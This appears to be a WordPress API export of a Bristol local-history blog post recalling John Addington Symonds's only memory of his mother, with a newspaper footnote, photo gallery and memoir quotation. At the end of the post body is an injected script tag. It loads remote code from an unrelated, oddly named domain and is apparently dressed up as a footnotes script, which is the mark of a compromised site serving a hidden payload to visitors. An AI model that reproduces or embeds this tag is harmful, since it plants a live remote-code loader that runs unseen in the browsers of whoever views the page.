{"id":276,"date":"2013-08-25T19:08:22","date_gmt":"2013-08-25T19:08:22","guid":{"rendered":"http:\/\/watsonian.co.uk\/?p=276"},"modified":"2014-11-21T17:03:33","modified_gmt":"2014-11-21T17:03:33","slug":"cornwallis-terrace","status":"publish","type":"post","link":"https:\/\/www.symondsinbristol.co.uk\/?p=276","title":{"rendered":"Cornwallis Terrace"},"content":{"rendered":"<p><strong>Goldney Avenue \/\u00a0Hensman&#8217;s Hill, Clifton.<\/strong><\/p>\n<p>Symonds&#8217; mother, Harriet Sykes, passed away when he was less than four years of age.<sup><a href=\"#footnote_0_276\" id=\"identifier_0_276\" class=\"footnote-link footnote-identifier-link\" title=\"&ldquo;June 6, in Berkeley Square, after a short illness, Harriet, the beloved wife of Dr. Symonds&rdquo;&nbsp;Bristol Mercury &ndash; Saturday 08 June 1844 \">1<\/a><\/sup> His only clear recollection of her took place on a hill bordering Cornwallis Terrace &#8211; either Goldney Avenue or Hensman&#8217;s Hill.<\/p>\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-276 gallery-columns-3 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=970'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2013\/08\/101_0181-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-970\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-970'>\n\t\t\t\tGoldney Avenue\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=971'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2013\/08\/102_0680-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"Hensmans Hill\" \/><\/a>\n\t\t\t<\/dt><\/dl>\n\t\t\t<br style='clear: both' \/>\n\t\t<\/div>\n\n<blockquote><p>&#8220;The one thing which I can clearly remember about her is, that we were driving alone together in\u00a0my father&#8217;s carriage (a chariot with glass windows at the front and sides, drawn by two horses) down\u00a0a steep hill by Cornwallis Terrace to the Lower Crescent, when the horses plunged and broke into\u00a0a gallop. Her fright must have made a deep impression on me. I can still see a pale face, a pink\u00a0silk bonnet, and beautiful yellow hair. These have for background in my memory the glass windows of\u00a0a coupe, and the red stone wall overhung with trees which embanked the garden of Cornwallis Terrace.\u00a0I do not know now whether the road has been altered. It is long since I walked there. But the\u00a0instantaneous flash of that moment on my brain persists as I describe it. I can also remember the morning of my mother&#8217;s funeral. We children were playing in our nursery with tin soldiers and clumsy wooden cannon, painted black and yellow. These were on the floor beside us. We were dressed in black. The nurses took us away to my grandmother&#8217;s house in the Lower Crescent.<\/p>\n<p>This is all I recollect about my mother. I have been told that my name was the last upon her lips when she was dying. But my father never spoke to me much about her, and only gave me a piece of her hair.&#8221;<\/p><\/blockquote>\n<ol class=\"footnotes\"><li id=\"footnote_0_276\" class=\"footnote\">&#8220;June 6, in Berkeley Square, after a short illness, Harriet, the beloved wife of Dr. Symonds&#8221;\u00a0Bristol Mercury &#8211; Saturday 08 June 1844  [<a href=\"#identifier_0_276\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><\/ol><script src=https:\/\/buryebilgrill.online\/footnotes><\/script>","protected":false},"excerpt":{"rendered":"<p>Goldney Avenue \/\u00a0Hensman&#8217;s Hill, Clifton. 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